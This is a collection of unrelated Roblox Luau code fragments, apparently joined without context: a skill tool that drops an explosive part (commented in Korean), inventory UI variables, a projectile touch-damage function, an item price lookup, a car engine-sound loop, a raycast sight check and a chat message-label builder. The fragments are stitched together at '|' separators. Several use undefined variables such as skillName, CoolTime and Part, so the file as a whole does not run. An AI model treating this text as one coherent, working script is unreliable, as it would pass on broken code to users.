local TweenService = game:GetService("TweenService")
local UIS = game:GetService("UserInputService")
|
--------------------) Settings |
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 10 -- cooldown for use of the tool again
ZoneModelName = "Sea of Error" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage |
--여기까지 |
local ser = game:GetService("Debris") --오브젝트 삭제 관련 서비스
local skill = game.ReplicatedStorage.Skill:FindFirstChild(skillName) --스킬 찾기
local Cooldown = true
local DamageCool = false
script.Parent.SkillEvent.OnServerEvent:Connect(function(plr, X,Y ,Z, Target) --플레이어가 스킬을 클릭하면
if Cooldown == true and Target ~= nil and not Target:FindFirstChild("Humanoid") then --조건이 맞으면
Cooldown = false
local clone = skill:Clone() --스킬 복사
clone.Parent = game.Workspace.SkillPart --스킬 적용
clone.Position = Vector3.new(X, (Y + 100), Z) --스킬 위치를 플레이어가 터치한 자리에
clone.Touched:Connect(function(hit) --다른 플레이어가 스킬에 닿이면
local human = hit.Parent:FindFirstChild("Humanoid") --휴머노이드 찾기
local human2 = hit.Parent.Parent:FindFirstChild("Humanoid") --휴머노이드 찾기
if human ~= nil and hit.Parent then --조건이 맞다면
if hit.Parent.Name == script.Parent.Parent.Name and DamageCool == false then return end --자신은 데미지 안먹힘
if human and DamageCool == false then --해당 조건이 맞으면
DamageCool = true
human:TakeDamage(Damage) --데미지 입히기
wait(DamageCoolTime) --스킬 데미지 쿨타임 기다리기
DamageCool = false
elseif human2 and DamageCool == false then
DamageCool = true
human2:TakeDamage(Damage) --데미지 입히기
wait(DamageCoolTime) --스킬 데미지 쿨타임 기다리기
DamageCool = false
end
end
end) --끝
script.Parent.Handle:FindFirstChild(Sound):Play() --오디오 틀기
wait(1) --1초 기다림
local bomb = game.ReplicatedStorage.Skill.Explosion:Clone() --폭팔 이펙트 복사
bomb.Parent = game.Workspace.SkillPart --이펙트 적용
bomb.Position = Vector3.new(clone.Position.X, clone.Position.Y, clone.Position.Z) --이펙트 위치 지정
script.Parent.Handle:FindFirstChild(Sound2):Play() --오디오 틀기
script.Parent.SkillEvent:FireClient(plr) --메세지 보내기(화면 흔들림 효과)
ser:AddItem(bomb, 1) --1초뒤에 이펙트 삭제
wait(CoolTime) --스킬 쿨타임 기다리기
Cooldown = true
end
end) --끝
|
---- locales ---- |
local Button = script.Parent
local InventoryFrame = Button.Parent.InventoryScrollingFrame
local InformationFrame = Button.Parent.InformationFrame
local CaseInventoryFrame = Button.Parent.CaseShopScrollingFrame
local CaseInformationFrame = Button.Parent.CaseInformationFrame
local SkinsViewFrame = Button.Parent.SkinsViewFrame
|
--[[function Float()
local Wobble = {
Size = 3,
Speed = 0.3,
Factor = 0,
}
local UpVector = Vector3.new(0, 0, 0)
local SpeedVector = Part.Velocity
local PerpVector = SpeedVector.Unit:Cross(UpVector)
local RandomAngle = (math.random() * math.pi * 2) --Get random angle in the perpendicular plane we just solved for
local WobbleVector = (PerpVector * math.cos(RandomAngle) + UpVector * math.sin(RandomAngle)) --Get a random "wobble vector" in the perpendicular plane
Spawn(function()
while true do
if not Part or not Part.Parent then
break
end
--Part.RotVelocity = (Part.RotVelocity + Vector3.new(0, ((math.random() - 0.5) * 2), 0)) --See if is z instead of x value
Part.Velocity = (SpeedVector + WobbleVector * math.sin(Wobble.Factor) * Wobble.Size)
Wobble.Factor = (Wobble.Factor + Wobble.Speed)
wait(0.25)
end
end)
end]] |
function GetCreator()
return ((Creator and Creator.Value and Creator.Value:IsA("Player") and Creator.Value) or nil)
end
function Blow(Object)
local TouchedConnection
TouchedConnection = Object.Touched:connect(function(Hit)
if not Hit or not Hit.Parent then
return
end
local character = Hit.Parent
local humanoid = character:FindFirstChild("Humanoid")
if not humanoid or humanoid.Health == 0 then
return
end
local CreatorPlayer = GetCreator()
local player = Players:GetPlayerFromCharacter(character)
if player and CreatorPlayer and (player == CreatorPlayer or IsTeamMate(CreatorPlayer, player)) then
return
end
UntagHumanoid(humanoid)
TagHumanoid(humanoid, CreatorPlayer)
humanoid:TakeDamage(Damage.Value)
Part.Anchored = true
Part.Transparency = 1
end)
return TouchedConnection
end
Blow(Part)
|
--[[
Returns the price of the given itemId
--]] |
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local getCategoryForItemId = require(ReplicatedStorage.Source.Utility.Farm.getCategoryForItemId)
local getItemByIdInCategory = require(ReplicatedStorage.Source.Utility.Farm.getItemByIdInCategory)
local getAttribute = require(ReplicatedStorage.Source.Utility.getAttribute)
local Attribute = require(ReplicatedStorage.Source.SharedConstants.Attribute)
local ItemCategory = require(ReplicatedStorage.Source.SharedConstants.ItemCategory)
local function getPurchaseCost(itemId: string)
local categoryId: ItemCategory.EnumType = getCategoryForItemId(itemId)
local itemModel = getItemByIdInCategory(itemId, categoryId)
return getAttribute(itemModel, Attribute.PurchaseCost)
end
return getPurchaseCost
|
--- Internal __index metamethod |
function Maid:__index(i)
return Maid[i] or self._Tasks[i]
end
|
--script.Parent.Values.Gear.Changed:connect(function()
-- mult=1
-- if script.Parent.Values.RPM.Value>5500 then
-- shift=.2
-- end
--end) |
for i,v in pairs(car.DriveSeat:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,script.Rev.Volume,true)
handler:FireServer("playSound","Rev")
car.DriveSeat:WaitForChild("Rev")
while wait() do
mult=math.max(0,mult-.1)
local _RPM = script.Parent.Values.RPM.Value
if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle/100 then
throt = math.max(.3,throt-.2)
trmmult = math.max(0,trmmult-.05)
trmon = 1
else
throt = math.min(1,throt+.1)
trmmult = 1
trmon = 0
end
shift = math.min(1,shift+.2)
if script.Parent.Values.RPM.Value > _Tune.Redline-_Tune.RevBounce/4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle/100 then
redline=.5
else
redline=1
end
if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
local Volume = (2*throt*shift*redline)+(trm*trmon*trmmult*(2-throt)*math.sin(tick()*50))
local Pitch = math.max((((script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline))*on^2)+(det*mult*math.sin(80*tick())),script.Rev.SetPitch.Value)
if FE then
handler:FireServer("updateSound","Rev",script.Rev.SoundId,Pitch,Volume)
else
car.DriveSeat.Rev.Volume = Volume
car.DriveSeat.Rev.Pitch = Pitch
end
end
|
--[[
Draws a ray between CFrame towards part. If the ray is close to the part (as defined by the discrepencies below), returns true - else returns false.
]] |
local MAX_PERIPHERAL_SIGHT = 10
local MAX_SIGHT_RANGE = 1
return function(originCFrame, targetPart, ignoreInstance)
local targetPartCFrame = targetPart.CFrame
local pointedCFrame = CFrame.new(originCFrame.Position, targetPartCFrame.Position)
local ray = Ray.new(pointedCFrame.Position, pointedCFrame.LookVector * 500)
local hitPart, hitPosition = workspace:FindPartOnRay(ray, ignoreInstance)
local discrepency = (hitPosition - targetPartCFrame.Position).magnitude
local range = (originCFrame.LookVector - pointedCFrame.LookVector).magnitude
if hitPart and (hitPart == targetPart or discrepency < MAX_PERIPHERAL_SIGHT) and range < MAX_SIGHT_RANGE then
return true
else
return false
end
end
|
-- ROBLOX FIXME: Can we define ClientChatModules statically in the project config |
pcall(function() ChatLocalization = require((game:GetService("Chat") :: any).ClientChatModules.ChatLocalization :: any) end)
function CreateSystemMessageLabel(messageData, channelName)
local message = messageData.Message
if ChatLocalization and ChatLocalization.LocalizeFormattedMessage then
message = ChatLocalization:LocalizeFormattedMessage(message)
end
local extraData = messageData.ExtraData or {}
local useFont = extraData.Font or ChatSettings.DefaultFont
local useTextSize = extraData.TextSize or ChatSettings.ChatWindowTextSize
local useChatColor = extraData.ChatColor or ChatSettings.DefaultMessageColor
local useChannelColor = extraData.ChannelColor or useChatColor
local BaseFrame, BaseMessage = util:CreateBaseMessage(message, useFont, useTextSize, useChatColor)
BaseMessage.AutoLocalize = true
local ChannelButton = nil
if channelName ~= messageData.OriginalChannel then
local formatChannelName
if ChatLocalization and messageData.OriginalChannel == "System" then
local localizedChannelName = ChatLocalization:Get("InGame.Chat.Label.SystemMessagePrefix", "System")
formatChannelName = string.format("{%s}", localizedChannelName)
elseif ChatLocalization and messageData.OriginalChannel == "Team" then
local localizedChannelName = ChatLocalization:Get("InGame.Chat.Label.TeamMessagePrefix", "System")
formatChannelName = string.format("{%s}", localizedChannelName)
else
formatChannelName = string.format("{%s}", messageData.OriginalChannel)
end
ChannelButton = util:AddChannelButtonToBaseMessage(BaseMessage, useChannelColor, formatChannelName, messageData.OriginalChannel)
local numNeededSpaces = util:GetNumberOfSpaces(formatChannelName, useFont, useTextSize) + 1
BaseMessage.Text = string.rep(" ", numNeededSpaces) .. message
end
local function GetHeightFunction(xSize)
return util:GetMessageHeight(BaseMessage, BaseFrame, xSize)
end
local FadeParmaters = {}
FadeParmaters[BaseMessage] = {
TextTransparency = {FadedIn = 0, FadedOut = 1},
TextStrokeTransparency = {FadedIn = 0.75, FadedOut = 1}
}
if ChannelButton then
FadeParmaters[ChannelButton] = {
TextTransparency = {FadedIn = 0, FadedOut = 1},
TextStrokeTransparency = {FadedIn = 0.75, FadedOut = 1}
}
end
local FadeInFunction, FadeOutFunction, UpdateAnimFunction = util:CreateFadeFunctions(FadeParmaters)
return {
[util.KEY_BASE_FRAME] = BaseFrame,
[util.KEY_BASE_MESSAGE] = BaseMessage,
[util.KEY_UPDATE_TEXT_FUNC] = nil,
[util.KEY_GET_HEIGHT] = GetHeightFunction,
[util.KEY_FADE_IN] = FadeInFunction,
[util.KEY_FADE_OUT] = FadeOutFunction,
[util.KEY_UPDATE_ANIMATION] = UpdateAnimFunction
}
end
return {
[util.KEY_MESSAGE_TYPE] = ChatConstants.MessageTypeSystem,
[util.KEY_CREATOR_FUNCTION] = CreateSystemMessageLabel
}
|